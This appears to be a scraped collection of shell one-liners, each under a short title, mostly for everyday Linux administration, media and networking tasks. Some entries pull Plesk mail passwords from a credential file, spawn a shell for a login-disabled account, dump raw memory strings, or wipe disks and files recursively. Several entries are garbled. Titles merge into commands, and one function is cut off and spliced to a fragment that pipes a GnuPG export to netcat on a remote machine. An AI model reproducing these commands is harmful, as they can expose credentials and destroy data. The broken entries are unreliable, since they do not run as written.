# Propagate X session cookies on a different user and login as that user
read -p 'Username: ' u;sudo -H -u $u xauth add $(xauth list|grep :$(echo ${DISPLAY: -4:2}));sudo su - $u
# grep -v with multiple patterns.
sed '/test/{/error\|critical\|warning/d}' somefile
# easily find megabyte eating files or directories
du -hs *|grep M|sort -n
# Kill any process with one command using program name
pkill
# Join lines
perl -pe 'eof()||s/\n//g' file.txt
# Check reverse DNS
host {checkIp or hostname} [dns server]
# List your interfaces and MAC addresses
for f in /sys/class/net/*; do echo -e "$(basename $f)\t$(cat $f/address)"; done
# Kill any process with one command using program name
kill -9 `ps ax | egrep [f]elix.jar | egrep -o -e '^ *[0-9]+'`
# Screenshot pipe to remote host, adding URL to clipboard, notifying when done.
(without saving locally)DATE=$(date +%Y-%m-%d_%H-%M-%S)-$(($(date +%N)/10000000)); HOST=ssh_host; DEST=file_dest; URL=url/screenshot_$DATE.png; import -window
root png:- | ssh $HOST "cat > $DEST/screenshot_$DATE.png"; echo $URL | xclip; notify-send -u low "Title" "Message"
# checking space availabe on all /proc/mounts points (using Nagios check_disk)
check_disk -w 15% -c 10% $(for x in $(cat /proc/mounts |awk '{print $2}')\; do echo -n " -p $x "\; done)
# for all who don't have the watch command
watch() { t=$1; shift; while test :; do clear; date=$(date); echo -e "Every "$t"s: $@ \t\t\t\t $date"; $@; sleep $t; done }
# limit the cdrom driver to a specified speed
eject -x 8 /dev/cdrom
# Sorted list of established destination connections
netstat | awk '/EST/{print $5}' | sort
# Print trending topics on Twitter
curl --silent search.twitter.com | sed -n '/div id=\"hot\"/,/div/p' | awk -F\> '{print $2}' | awk -F\< '{print $1}' | sed '/^$/d'
# Get the list of root nameservers for a given TLD
dig +short NS org.
# sudo for entire line (including pipes and redirects)
proceed_sudo () { sudor_command="`HISTTIMEFORMAT=\"\" history 1 | sed -r -e 's/^.*?sudor//' -e 's/\"/\\\"/g'`" ; sudo sh -c "$sudor_command"; }; alias
sudor="proceed_sudo # "
# Start screen with name and run command
screen -dmS "name_me" echo "hi"
# Execute a command with a timeout
$COMMAND 2>&1 >/dev/null & WPID=$!; sleep $TIMEOUT && kill $! & KPID=$!; wait $WPID
# Joins args together using the first arg as glue
joinargs() { (IFS="$1"; shift && echo "$*") }
# Monitor Linux/MD RAID Rebuild
watch -n 5 -d cat /proc/mdstat
# Use ImageMagick to get an image's properties
identify -ping imageName.png
# Matrix Style
echo -e "\e[31m"; while $t; do for i in `seq 1 30`;do r="$[($RANDOM % 2)]";h="$[($RANDOM % 4)]";if [ $h -eq 1 ]; then v="\e[1m $r";else v="\e[2m $r";fi;v2="$v2
$v";done;echo -e $v2;v2="";done;
# use wget to check if a remote file exists
wget --spider -v http://www.server.com/path/file.ext
# Create black and white image
convert -colorspace gray face.jpg gray_face.jpg
# Youtube-dl gone stale on you/stopped working (Ubuntu)?
sudo youtube-dl -U
# Retrieve a random command from the commandlinefu.com API
lynx --dump http://www.commandlinefu.com/commands/random/plaintext | grep .
# files and directories in the last 1 hour
find ./* -ctime -1 | xargs ls -ltr --color
# Printing multiple years with Unix cal command
for y in $(seq 2009 2011); do cal $y; done
# When was your OS installed?
ls -ldct /lost+found |awk '{print $6, $7}'
# gets all files committed to svn by a particular user since a particular date
svn log -v -r{2009-05-21}:HEAD | awk '/^r[0-9]+ / {user=$3} /yms_web/ {if (user=="george") {print $2}}' | sort | uniq
# Downsample mp3s to 128K
for f in *.mp3 ; do lame --mp3input -b 128 "$f" ./resamp/"$f" ; done
# rsync over ssh via non-default ssh port
rsync -e 'ssh -p PORT' user@host:SRC DEST
# floating point operations in shell scripts
echo "scale=4; 3 / 5" | bc
# locate bin, src, and man file for a command
whereis somecommand
# Remove Backup Files
find / -name *~ -delete
# dont execute command just add it to history as a comment, handy if your comman
d is not "complete" yet
#command
# Show this month's calendar, with today's date highlighted
cal | grep --before-context 6 --after-context 6 --color -e " $(date +%e)" -e "^$(date +%e)"
# Mount a partition from dd disk image
mount -o loop,offset=$((512*x)) /path/to/dd/image /mount/path
# Google URL shortener
curl -s 'http://ggl-shortener.appspot.com/?url='"$1" | sed -e 's/{"short_url":"//' -e 's/"}/\n/g'
# list files in mtime order
ls -lt | more
# pretend to be busy in office to enjoy a cup of coffee
export GREP_COLOR='1;32'; cat /dev/urandom | hexdump -C | grep --color=auto "ca fe"
# Converts uppercase chars in a string to lowercase
echo StrinG | tr '[:upper:]' '[:lower:]'
# Simple server which listens on a port and prints out received data
ncat -l portnumber
# Get ssh server fingerprints
ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key.pub && ssh-keygen -l -f /etc/ssh/ssh_host_dsa_key.pub
# kde4 lock screen command
qdbus org.freedesktop.ScreenSaver /ScreenSaver Lock
# untar undo
tar tfz filename.tgz |xargs rm -Rf
# Random number generation within a range N, here N=10
echo $(( $RANDOM % 10 + 1 ))
# a find and replace within text-based files, for batch text replacement, not us
ing perlsed -i -e 's/SEARCH_STRING/REPLACE_STRING/g' `find . -iname 'FILENAME'`
# Query Wikipedia via console over DNS
mwiki() { dig +short txt "$*".wp.dg.cx; }
# Disable WoL on eth0
sudo ethtool -s eth0 wol d
# Change Random Wallpaper on Gnome 3
gsettings set org.gnome.desktop.background picture-uri file://"$(find ~/Wallpapers -type f | shuf -n1)"
# show all programs connected or listening on a network port
alias nsl 'netstat -f inet | grep -v CLOSE_WAIT | cut -c-6,21-94 | tail +2'
# Colorize make, gcc, and diff output
colormake, colorgcc, colordiff
# List all groups and the user names that were in each group
for u in `cut -f1 -d: /etc/passwd`; do echo -n $u:; groups $u; done | sort
# Show the command line of a process that use a specific port (ubuntu)
cat /proc/$(lsof -ti:8888)/cmdline | tr "\0" " "
# reclaim your window titlebars (in ubuntu lucid)
gconftool -s -t string /apps/metacity/general/button_layout "menu:minimize,maximize,close"
# Poor man's nmap for a class C network from rfc1918
( nw=192.168.0 ; h=1; while [ $h -lt 255 ] ; do ( ping -c2 -i 0.2 -W 0.5 -n $nw.$h & ); h=$[ $h + 1 ] ; done ) | awk '/^64 bytes.*/ { gsub( ":","" ); print $4
}' | sort -u
# grep (or anything else) many files with multiprocessor power
find . -type f -print0 | xargs -0 -P 4 -n 40 grep -i foobar
# Make alias pemanent fast
PERMA () { echo "$@" >> ~/.bashrc; }
# Download Entire YouTube Channel - all of a user's videos
yt-chanrip() { for i in $(curl -s http://gdata.youtube.com/feeds/api/users/"$1"/uploads | grep -Eo "watch\?v=[^[:space:]\"\'\\]{11}" | uniq); do youtube-dl
--title --no-overwrites http://youtube.com/"$i"; done }
# Generate a playlist of all the files in the directory, newer first
find . -type f -print0 | xargs -r0 stat -c %Y\ %n | sort -rn | gawk '{sub(/.\//,"",$2); print $2}' > /tmp/playlist.m3u
# Generate random valid mac addresses
ruby -e 'puts (1..6).map{"%0.2X"%rand(256)}.join(":")'
# Execute a sudo command remotely, without displaying the password
stty -echo; ssh -t HOSTNAME "sudo some_command"; stty echo
# Watch Al Jazeera Livestream directly in mplayer #jan25
mplayer $(wget -q -O - "http://europarse.real.com/hurl/gratishurl.ram?pid=eu_aljazeera&file=al_jazeera_en_lo.rm" | sed -e 's#lo.rm#hi.rm#')
# Go to the Nth line of file
sed -n 13p /etc/services
# Another way to calculate sum size of all files matching a pattern
find . -iname '*.jar' | xargs du -ks | cut -f1 | xargs echo | sed "s/ /+/g" | bc
# Securely destroy data on given device
# for i in $(seq 1 25); do dd if=/dev/urandom of= bs=1M ; done
# Display GCC Predefined Macros
gcc -dM -E - <<<''
# Delete files if not have some extension
ls -1 |grep -v .jpg |xargs rm
# backup local MySQL database into a folder and removes older then 5 days backup
smysqldump -uUSERNAME -pPASSWORD database | gzip > /path/to/db/files/db-backup-`date +%Y-%m-%d`.sql.gz ;find /path/to/db/files/* -mtime +5 -exec rm {} \;
# Run a bash script in debug mode, show output and save it on a file
bash -x script.sh 2> log
# preserve disk; keep OS clean
ram() { for i in /tmp /altroot;do mount -t tmpfs tmpfs $i;done&& for i in /var /root /etc $HOME; do find -d $i |cpio -pdmv /tmp&& mount -t tmpfs tmpfs $i&& mv
-v /tmp$i/* $i&& rm -vrf /tmp$i ; done ;} usage: (in rc sequence) ram
# Create a listing of all possible permissions and their octal representation.
touch /tmp/$$;for N in `seq -w 0 7777|grep -v [89]`; do chmod $N /tmp/$$; P=`ls -l /tmp/$$ | awk '{print $1}'`; echo $N $P; done;rm /tmp/$$
# Converting video file (.flv, .avi etc.) to .3gp
ffmpeg -i input.avi -s qcif -vcodec h263 -r 20 -b 180k -acodec libfaac -ab 64k -ac 2 -ar 22050 output.3gp
# Download Youtube Playlist
y=http://www.youtube.com;for i in $(curl -s $f|grep -o "url='$y/watch?v=[^']*'");do d=$(echo $i|sed "s|url\='$y/watch?v=\(.*\)&.*'|\1|");wget -O $d.flv
"$y/get_video.php?video_id=$d&t=$(curl -s "$y/watch?v=$d"|sed -n 's/.* "t": "\([^"]*\)",.*/\1/p')";done
# High resolution video screen recording
gorecord() { if [ $# != 1 ]; then echo 'gorecord video.mp4' return fi ffmpeg -f x11grab -s -r 25 -i :0.0 -sameq -vcodec mpeg4 "$1"
}
# ncdu - ncurses disk usage
ncdu directory_name
# Copy via tar pipe while preserving file permissions (cp does not!; run this co
mmand with root!)cp -pr olddirectory newdirectory
# List bash functions defined in .bash_profile or .bashrc
declare -F | cut -d ' ' -f 3
# Fill a hard drive with ones - like zero-fill, but the opposite :)
tr '\000' '\377' < /dev/zero | dd bs=512 count=200000 status=noxfer | pipebench | sudo dd of=/dev/sdx
# Create patch file for two directories
diff -r -u originDir updateDir > result.patch
# Monitoring wifi connection by watch command (refresh every 3s), displaying iw
dump info and iwconfig on wireless interface "wlan0"watch -d -n 3 "iw dev wlan0 station dump; iwconfig wlan0"
# find external links in all html files in a directory list
find . -name '*.html' -print0| xargs -0 -L1 cat |sed "s/[\"\<\>' \t\(\);]/\n/g" |grep "http://" |sort -u
# Query an NFS host for its list of exports
/usr/sbin/showmount -e
# Apply new patch for a directory (originDir)
patch -p0 -i result.patch
# Number of CPU's in a system
grep "processor" /proc/cpuinfo | wc -l
# diff files while disregarding indentation and trailing white space
diff <(perl -wpl -e '$_ =~ s/^\s+|\s+$//g ;' file1) <(perl -wpl -e '$_ =~ s/^\s+|\s+$//g ;' file2)
# Get an IP address out of fail2ban jail
iptables -D fail2ban-SSH -s -j DROP
# Copy structure
structcp(){ ( mkdir -pv $2;f="$(realpath "$1")";t="$(realpath "$2")";cd "$f";find * -type d -exec mkdir -pv $t/{} \;);}
# Remove all backup files in my home directory
find ~user/ -name "*~" -exec rm {} \;
# print file without duplicated lines usind awk
awk '!($0 in a) {a[$0];print}' file
# List of all vim features
vim --version | grep -P '^(\+|\-)' | sed 's/\s/\n/g' | grep -Pv '^ ?$'
# backup directory. (for bash)
cp -pr directory-you-want-to-backup{,_`date +%Y%m%d`} # for bash
# Make a ready-only filesystem ?writeable? by unionfs
mount -t unionfs -o dirs=/tmp/unioncache=rw:/mnt/readonly=ro unionfs /mnt/unionfs
# a for loop with filling 0 format, with seq
for i in `seq -f %03g 5 50 111`; do echo $i ; done
# Batch rename extension of all files in a folder, in the example from .txt to .
mdfor f in *.txt;do mv ${f%txt}{txt,md}; done
# df without line wrap on long FS name
df -PH|column -t
# Optimize Xsane PDFs
gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=test.pdf multipageproject.pdf
# Quick notepad
cat > list -
# Get your X11 screen mode
xrandr | grep \*
# Get your internal IP address and nothing but your internal IP address
ifconfig $devices | grep "inet addr" | sed 's/.*inet addr:\([0-9\.]*\).*/\1/g'
# concatenate avi files
avimerge -o output.avi -i file1.avi file2.avi file3.avi
# add all files not under version control to repository
svn add . --force
# strips the first field of each line where the delimiter is the first ascii cha
ractercut -f2 -d`echo -e '\x01'` file
# Go up multiple levels of directories quickly and easily.
cd() { if [[ "$1" =~ ^\.\.+$ ]];then local a dir;a=${#1};while [ $a -ne 1 ];do dir=${dir}"../";((a--));done;builtin cd $dir;else builtin cd "$@";fi ;}
# Get all ip address for the host
hostname -I
# Command line calculator
awk "BEGIN{ print $* }"
# Show number of NIC's, ports per nic and PCI address
lspci | grep Ether | awk '{ VAR=$1; split(VAR,ARR,"."); count[ARR[1]]++; LINE=$0; split(LINE,LINEARR,":"); LINECOUNT[ARR[1]]=LINEARR[3]; } END { for(i in
count) { printf("PCI address: %s\nPorts: %d\nCard Type: %s\n", i, count[i], LINECOUNT[i]) } }'
# Finding the number of cpu's
grep -c -e '^cpu[0-9]\+' /proc/stat
# Compare an archive with filesystem
tar dfz horde-webmail-1.2.3.tar.gz
# monitor network traffic and throughput in real time
iptraf
# Find out current working directory of a process
eval ls -l /proc/{$(pgrep -d, COMMAND)}/cwd
# Find writable files
find -writable
# Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, th
en bytes.dh() { du -ch --max-depth=1 "${@-.}"|sort -h }
# Show the disk usage for files pointed by symbolic link in a directory
find /usr/lib -maxdepth 1 -type l -print0 | xargs -r0 du -Lh
# Find files containing string and open in vim
vim $(grep test *)
# Get Cookies from bash
a="www.commandlinefu.com";b="/index.php";for n in $(seq 1 7);do echo -en "GET $b HTTP/1.0\r\nHost: "$a"\r\n\r\n" |nc $a 80 2>&1 |grep Set-Cookie;done
# List only the directories
ls -l | egrep ^d
# Run remote web page, but don't save the results
wget -O /dev/null http://www.google.com
# Getting ESP and EIP addresses from running processes
ps ax --format=pid,eip,esp,user,command
# Generate random password
randpw(){ < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo;}
# What is my public IP-address?
wget -qO- ifconfig.me/ip
# Mouse Tracking
while true; do xdotool getmouselocation | sed 's/x:\(.*\) y:\(.*\) screen:.*/\1, \2/' >> ./mouse-tracking; sleep 10; done
# Add thousand separator with sed, in a file or within pipe
sed -e :a -e 's/\(.*[0-9]\)\([0-9]\{3\}\)/\1,\2/;ta' filename
# Mysql uptime
mysql -e"SHOW STATUS LIKE '%uptime%'"|awk '/ptime/{ calc = $NF / 3600;print $(NF-1), calc"Hour" }'
# Check if running in an X session
if [ ! -z "${DISPLAY}" ]; then someXcmd ; fi
# Convert all WMF images to SVG recursively ignoring file extension case
find . -type f -iname '*.wmf' | while read FILE; do FILENAME="${FILE%.*}"; wmf2svg -o ${FILENAME}.svg $FILE; done
# Get all mac address
ifconfig -a| grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'
# system beep off
setterm -blength 0
# Google text-to-speech in mp3 format
p=$(echo "hello world, how r u?"|sed 's/ /+/g');wget -U Mozilla -q -O - "$@" translate.google.com/translate_tts?tl=en\&q=$p|mpg123 -
# cd up a number of levels
function ..(){ for ((j=${1:-1},i=0;i -r -e --homedir /home/to/.gnupg | nc remote_machine 6969
# output the contents of a file removing any empty lines including lines which c
ontain only spaces or tabs.sed -e '/^[]*$/d' somefile
# memcache affinity: queries local memcached for stats, calculates hit/get ratio
and prints it out.echo -en "stats\r\n" "quit\r\n" | nc localhost 11211 | tr -s [:cntrl:] " "| cut -f42,48 -d" " | sed "s/\([0-9]*\)\s\([0-9]*\)/ \2\/\1*100/"
| bc -l
# How to pull out lines between two patterns
perl -0777 -ne 'print "$1\n" while /word-a(.*?)word-b/gs' filename.txt
# List commands with a short summary
find `echo "${PATH}" | tr ':' ' '` -type f | while read COMMAND; do man -f "${COMMAND##*/}"; done
# Show all usernames and passwords for Plesk email addresses
mysql -uadmin -p` cat /etc/psa/.psa.shadow` -Dpsa -e"select mail_name,name,password from mail left join domains on mail.dom_id = domains.id inner join accounts
where mail.account_id = accounts.id;"
# Create package dependency graph
apt-cache dotty PKG-NAME | dot -Tpng | display
# Show what a given user has open using lsof
lsof -u www-data
# Print stack trace of a core file without needing to enter gdb interactively
gdb --batch --quiet -ex "thread apply all bt full" -ex "quit" ${exe} ${corefile}
# Getting the last argument from the previous command
cd !$
# convert unixtime to human-readable
perl -e 'print scalar(gmtime(1234567890)), "\n"'
# Counts number of lines
find . \( -name '*.h' -o -name '*.cc' \) | xargs grep . | wc -l
# Unzip multiple files with one command
unzip '*.zip'
# Do a search-and-replace in a file after making a backup
perl -i'.bak' -pe 's/old/new/g'
# Return threads count of a process
ps -o thcount -p
# Lists installed kernels
dpkg --get-selections | grep linux-image
# Display rows and columns of random numbers with awk
seq 6 | awk '{for(x=1; x<=5; x++) {printf ("%f ", rand())}; printf ("\n")}'
# Sort lines using the Xth characted as the start of the sort string
sort -k1.x
# check python syntax in vim
:!pylint -e %
# Do quick arithmetic on numbers from STDIN with any formatting using a perl one
liner.perl -ne '$sum += $_ for grep { /\d+/ } split /[^\d\-\.]+/; print "$sum\n"'
# Donwload media from *.rm from an url of type htttp://.../*.ram
wget -O- | wget -i -
# A fun thing to do with ram is actually open it up and take a peek. This comman
d will show you all the string (plain text) values in ramstrings /dev/mem|less
# Block all IP addresses and domains that have attempted brute force SSH login t
o computer(bzcat BZIP2_FILES && cat TEXT_FILES) | grep -E "Invalid user|PAM" | grep -o -E "from .+" | awk '{print $2}' | sort | uniq >> /etc/hosts.deny
# Search and replace text in all php files with ruby
ruby -i.bkp -pe "gsub(/search/, 'replace')" *.php
# I finally found out how to use notify-send with at or cron
echo notify-send test | at now+1minute
# ssh autocomplete based on ~/.ssh/config
perl -ne 'print "$1 " if /^Host (.+)$/' ~/.ssh/config
# Figure out what shell you're running
ps -p $$
# Kill all processes belonging to a user
ps -ef | grep $USERNAME | awk {'print $2'} | xargs kill [-9]
# Figure out your work output for the day
git diff --stat `git log --author="XXXXX" --since="12 hours ago" --pretty=oneline | tail -n1 | cut -c1-40` HEAD
# easily convert one unit to another
units "2048 bytes" "kibibytes"
# display ip address
curl -s http://myip.dk | grep '' | sed -e 's/<[^>]*>//g'
# Find the process you are looking for minus the grepped one
ps -ef | grep c\\ommand
# whois surfing my web ?
watch lsof -i :80
# Using PIPEs, Execute a command, convert output to .png file, upload file to im
gur.com, then returning the address of the .png.imgur(){ convert label:@- png:-|curl -F "image=@-" -F "key=1913b4ac473c692372d108209958fd15"
http://api.imgur.com/2/upload.xml|grep -Eo "(.)*" | grep -Eo "http://i.imgur.com/[^<]*";}
# livehttpheaders (firefox addon) replacement
liveh(){ tcpdump -lnAs512 ${1-} tcp |sed ' s/.*GET /GET /;s/.*Host: /Host: /;s/.*POST /POST /;/[GPH][EOo][TSs]/!d;w '"${2-liveh.txt}"' ' >/dev/null ;} # usage:
liveh [-i interface] [output-file] && firefox &
# burn a isofile to cd or dvd
cdrecord -v dev=/dev/cdrom yourimage.iso
# List all PostgreSQL databases. Useful when doing backups
psql -U postgres -lAt | gawk -F\| '$1 !~ /^template/ && $1 !~ /^postgres/ && NF > 1 {print $1}'
# grep for tabs without using Ctrl-V trick
grep -P '\t' filename
# Creating ISO Images from CDs/DVDs
dd if=/dev/cdrom of=~/cd_image.iso
# Print all 256 colors for testing TERM or for a quick reference
( x=`tput op` y=`printf %$((${COLUMNS}-6))s`;for i in {0..256};do o=00$i;echo -e ${o:${#o}-3:3} `tput setaf $i;tput setab $i`${y// /=}$x;done; )
# Convert one file from ISO-8859-1 to UTF-8.
iconv --from-code=ISO-8859-1 --to-code=UTF-8 iso.txt > utf.txt
# Produces a list of when your domains expire
cat domainlist.txt | while read line; do echo -ne $line; whois $line | grep Expiration ; done | sed 's:Expiration Date::'
# Add 10 random unrated songs to xmms2 playlist
xmms2 mlib search NOT +rating | grep -r '^[0-9]' | sed -r 's/^([0-9]+).*/\1/' | sort -R | head | xargs -L 1 xmms2 addid
# Enable programmable bash completion in debian lenny
aptitude install bash-completion ; source /etc/bash_completion
# analyze traffic remotely over ssh w/ wireshark
mkfifo /tmp/fifo; ssh-keygen; ssh-copyid root@remotehostaddress; sudo ssh root@remotehost "tshark -i eth1 -f 'not tcp port 22' -w -" > /tmp/fifo &; sudo
wireshark -k -i /tmp/fifo;
# Set a posix shell to echo all commands that it's about to execute, after all e
xpansions have been done.set -x
# BackTrack Repos
sudo apt-add-repository 'deb http://archive.offensive-security.com pwnsauce main microverse macroverse restricted universe multiverse' && wget -q
http://archive.offensive-security.com/backtrack.gpg -O- | sudo apt-key add -
# find largest file in /var
find /var -mount -ls -xdev | /usr/bin/sort -nr +6 | more
# Is it a terminal?
isatty(){ test -t $1; }
# Extract audio from Mythtv recording to Rockbox iPod using ffmpeg
ffmpeg -ss 0:58:15 -i DavidLettermanBlackCrowes.mpg -acodec copy DavidLettermanBlackCrowes.ac3
# print crontab entries for all the users that actually have a crontab
for USER in `cut -d ":" -f1 /dev/null 2>&1; if [ ! ${?} -ne 0 ]; then echo -en "--- crontab for ${USER}
---\n$(crontab -u ${USER} -l)\n"; fi; done
# Mac OS X: remove extra languages to save over 3 GB of space.
sudo find / -iname "*.lproj" -and \! -iname "en*" -print0 | tee /dev/stderr | sudo xargs -0 rm -rfv
# An alarm clock using xmms2 and at
at 6:00 <<< "xmms2 play"
# List all Windows services on the command line
sc queryex type= service state= all | find "_NAME"
# Recursively lists all files in the current directory, except the ones in '.sna
pshot' directoryfind . -wholename './.snapshot' -prune -o -print
# List the CPU model name
grep "model name" /proc/cpuinfo
# left-right mouse buttons (left-handed)
xmodmap -e "pointer = 3 2 1"
# Happy Days
echo {1..3}" o'clock" ROCK
# Using column to format a directory listing
(printf "PERMISSIONS LINKS OWNER GROUP SIZE MONTH DAY HH:MM PROG-NAME\n" \ ; ls -l | sed 1d) | column -t
# Print a row of 50 hyphens
perl -le'print"-"x50'
# Send a backup job to a remote tape drive on another machine over SSH
tar cvzf - /directory/ | ssh root@host "cat > /dev/nst0"
# Go to the next sibling directory in alphabetical order, version 2
cd ../"$(ls -F ..|grep '/'|grep -A1 `basename $PWD`|tail -n 1)"
# Print the 10 deepest directory paths
find . -type d | perl -nle 'print s,/,/,g," $_"' | sort -n | tail
# Short one line while loop that outputs parameterized content from one file to
anotherawk '{print $1}' < three-column.txt > first-column.txt
# To get internet connection information .
sudo /bin/netstat -tpee
# umount all nfs mounts on machine
umount -a -t nfs
# replace XX by YY in the the current directory and cd to it. ( in ZSH )
cd XX YY
# Change the extension of a filename by using rename to convert
rename .JPG .jpg *.JPG
# Remove duplicate rows of an un-sorted file based on a single column
awk '{ if ($1 in stored_lines) x=1; else print; stored_lines[$1]=1 }' infile.txt > outfile.txt
# lotto generator
shuf -i 1-49 -n 6 | sort -n | xargs
# load changes without logging in and out vim
:source ~/.vimrc
# Remove duplicate rows of an un-sorted file based on a single column
perl -ane 'print unless $x{$F[0]}++' infile > outfile
# Archive a directory with datestamp on filename
tar zcvf somedir-$(date +%Y%m%d-%H%M).tar.gz somedir/
# Watch the size of a directory using figlet
watch -n1 "du -hs /home/$USER | cut -f1 -d'/' | figlet -k"
# Remove all .svn folders
find . -name .svn -type d -exec rm -rf '{}' +
# Efficiently extract lines between markers
sed -n '/START/,${/STOP/q;p}'
# Move all but the newest 100 emails to a gzipped archive
find $MAILDIR/ -type f -printf '%T@ %p\n' | sort --reverse | sed -e '{ 1,100d; s/[0-9]*\.[0-9]* \(.*\)/\1/g }' | xargs -i sh -c "cat {}&&rm -f {}" | gzip -c
>>ARCHIVE.gz
# calulate established tcp connection of local machine
netstat -an|grep -ci "tcp.*established"
# Add a line to a file using sudo
echo "foo bar" | sudo tee -a /path/to/some/file
# On Mac OS X, runs System Profiler Report and e-mails it to specified address.
system_profiler | mail -s "$HOSTNAME System Profiler Report" user@domain.com
# Pass TAB as field separator to sort, join, cut, etc.
sort -t $'\t' -k 2 input.txt
# Indent all the files in a project using emacs
find -iname \*.[ch] -exec emacs -nw -q {} --eval "(progn (mark-whole-buffer) (indent-region (point-min) (point-max) nil) (save-buffer))" --kill \;
# Drop all tables from a database, without deleting it
mysqldump -u $USER --password=$PASSWORD --add-drop-table --no-data "$DATABASE" | grep ^DROP | mysql -u $USER --password=$PASSWORD "$DATABASE"
# Record a webcam output into a video file.
ffmpeg -an -f video4linux -s 320x240 -b 800k -r 15 -i /dev/v4l/video0 -vcodec mpeg4 myvideo.avi
# Check ps output to see if file is running, if not start it
ps -C thisdaemon || { thisdaemon & }
# Extract audio track from a video file using mencoder
mencoder -of rawaudio -ovc copy -oac mp3lame -o output.mp3 input.avi
# Play ISO/DVD-files and activate dvd-menu and mouse menu clicks.
mplayer dvdnav:// -dvd-device foo.img -mouse-movements
# Dump a web page
curl -s http://google.com | hexdump -C|less
# Let's make screen and ssh-agent friends
eval `ssh-agent`; screen
# Verify if user account exists in Linux / Unix
id
# Customize time format of 'ls -l'
ls -l --time-style=+"%Y-%m-%d %H:%M:%S"
# Backup your OpenWRT config (only the config, not the whole system)
curl -d 'username=root&password=your-good-password' "http://router/cgi-bin/luci/admin/system/backup?backup=kthxbye" > `date +%Y%d%m`_config_backup.tgz
# find geographical location of an ip address
lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|sed -nr s/'^.*My IP address city: (.+)$/\1/p'
# Converts uppercase chars in a string to lowercase
s="StrinG"; echo ${s,,}
# Cleanup Python bytecode files
find . -name "*.py[co]" -exec rm -f {} \;
# Show an application's environment variables
sudo sed 's/\o0/\n/g' "/proc/$(pidof -x firefox)/environ" ;# replace firefox
# Batch file name renaming (copying or moving) w/ glob matching.
for x in *.ex1; do mv "${x}" "${x%ex1}ex2"; done
# Ping Twitter to check if you can connect
wget http://twitter.com/help/test.json -q -O -
# display date of last time a process was started in `date` format
ps -o lstart
# Never rewrites a file while copying (or moving)
cp --backup=t source.file target.file
# Every Nth line position # (AWK)
awk 'NR%3==1' file
# Add .gitignore files to all empty directories recursively from your current di
rectoryfind . \( -type d -empty \) -and \( -not -regex ./\.git.* \) -exec touch {}/.gitignore \;
# nice disk usage, sorted by size, see description for full command
du -sk ./* | sort -nr
# xargs for builtin bash commands
bargs { while read i; do "$@" "$i"; done }
# Break lines after, for example 78 characters, but don't break within a word/st
ringfold -w 78 -s file-to-wrap
# connect to all screen instances running
screen -ls | grep pts | gawk '{ split($1, x, "."); print x[1] }' | while read i; do gnome-terminal -e screen\ -dx\ $i; done
# Dump sqlite database to plain text format
echo '.dump' | sqlite3 your_sqlite.db > your_sqlite_text.txt
# Create an ISO Image from a folder and burn it to CD
hdiutil makehybrid -o CDname.iso /Way/to/folder ; hdiutil burn CDname.iso
# Open Perl module source in your editor
$EDITOR `perldoc -l Module::Name`
# Rename all files which contain the sub-string 'foo', replacing it with 'bar'
for i in ./*foo*;do mv -- "$i" "${i//foo/bar}";done
# List only the directories
tree -dL 1
# How many Linux and Windows devices are on your network?
sudo nmap -F -O 192.168.1.1-255 | grep "Running: " > /tmp/os; echo "$(cat /tmp/os | grep Linux | wc -l) Linux device(s)"; echo "$(cat /tmp/os | grep Windows |
wc -l) Window(s) devices"
# Shows physically connected drives (SCSI or SATA)
ls /sys/bus/scsi/devices
# Switch to the previous branch used in git(1)
git checkout -
# Burst a Single PDF Document into Single Pages and Report its Data to doc_data.
txtpdftk mydoc.pdf burst
# Browse shared folder when you're the only Linux user
smbclient -U userbob //10.1.1.75/Shared
# show all key and mouse events
xev
# Find out what the day ends in
date +%A | tail -2c
# Instant mirror from your laptop + webcam
mplayer tv:// -vf mirror
# embed referred images in HTML files
grep -ioE "(url\(|src=)['\"]?[^)'\"]*" a.html | grep -ioE "[^\"'(]*.(jpg|png|gif)" | while read l ; do sed -i "s>$l>data:image/${l/[^.]*./};base64,`openssl enc
-base64 -in $l| tr -d '\n'`>" a.html ; done;
# Arch Linux sort installed packages by size
paste <(pacman -Q | awk '{ print $1; }' | xargs pacman -Qi | grep 'Size' | awk '{ print $4$5; }') <(pacman -Q | awk '{print $1; }') | sort -n | column -t
# Convert your favorite image in xpm for using in grub
convert image123.png -colors 14 -resize 640x480 grubimg.xpm
# Top 10 requestors by IP address from Apache/NCSA Logs
awk '{print $1}' /var/log/httpd/access_log | sort | uniq -c | sort -rnk1 | head -n 10
# recursive search and replace old with new string, inside files
$rpl -R oldstring newstring folder
# In place line numbering
{ rm -f file10 && nl > file10; } < file10
# Rsync files with spaces
rsync [options] -- * target
# Prepare B&W scans for clean looking, searchable PDF
convert pagexxx.png -filter Cubic -resize 200% -threshold 50% -compress Group4 pagexxx.tiff; tiff2pdf -z -p letter -ro -x 1200 -y 1200 -o pagexxx.pdf
pagexxx.tiff
# Merge files, joining each line in one line
paste file1 file2 fileN > merged
# MySQL dump restore with progress bar and ETA
pv bigdump.sql.gz | gunzip | mysql
# Randomize lines in a file
sort -R SOMEFILE
# Change the homepage of Firefox
sed -i 's|\("browser.startup.homepage",\) "\(.*\)"|\1 "http://sliceoflinux.com"|' .mozilla/firefox/*.default/prefs.js
# Find which jars contain a class
find . -name "*.jar" | while read file; do echo "Processing ${file}"; jar -tvf $file | grep "Foo.class"; done
# Get a shell with a not available account
su - -s /bin/sh -c "/bin/sh"
# GRUB2: set Super Mario as startup tune
sudo bash -c 'echo "GRUB_INIT_TUNE=\"480 165 2 165 2 165 3 554 1 587 1 554 2 370 1 554 1 523 2 349 1 523 1 494 3 165 2 165 2 165 2\"" >> /etc/default/grub &&
update-grub'
# How many days until the end of the year
echo "There are $(($(date +%j -d"Dec 31, $(date +%Y)")-$(date +%j))) left in year $(date +%Y)."
# Show Shared Library Mappings
ldconfig -p
# Set an alarm to wake up
sleep 5h && rhythmbox path/to/song
# Get absolut path to your bash-script
PATH=$(cd ${0%/*}; pwd)
# STAT Function showing ALL info, stat options, and descriptions
statt(){ C=c;stat --h|sed '/Th/,/NO/!d;/%/!d'|while read l;do p=${l/% */};[ $p == %Z ]&&C=fc&&echo ^FS:^;echo "`stat -$C $p \"$1\"` ^$p^${l#%* }";done|column
-ts^; }
# Resize photos without changing exif
mogrify -format jpg -quality 80 -resize 800 *.jpg
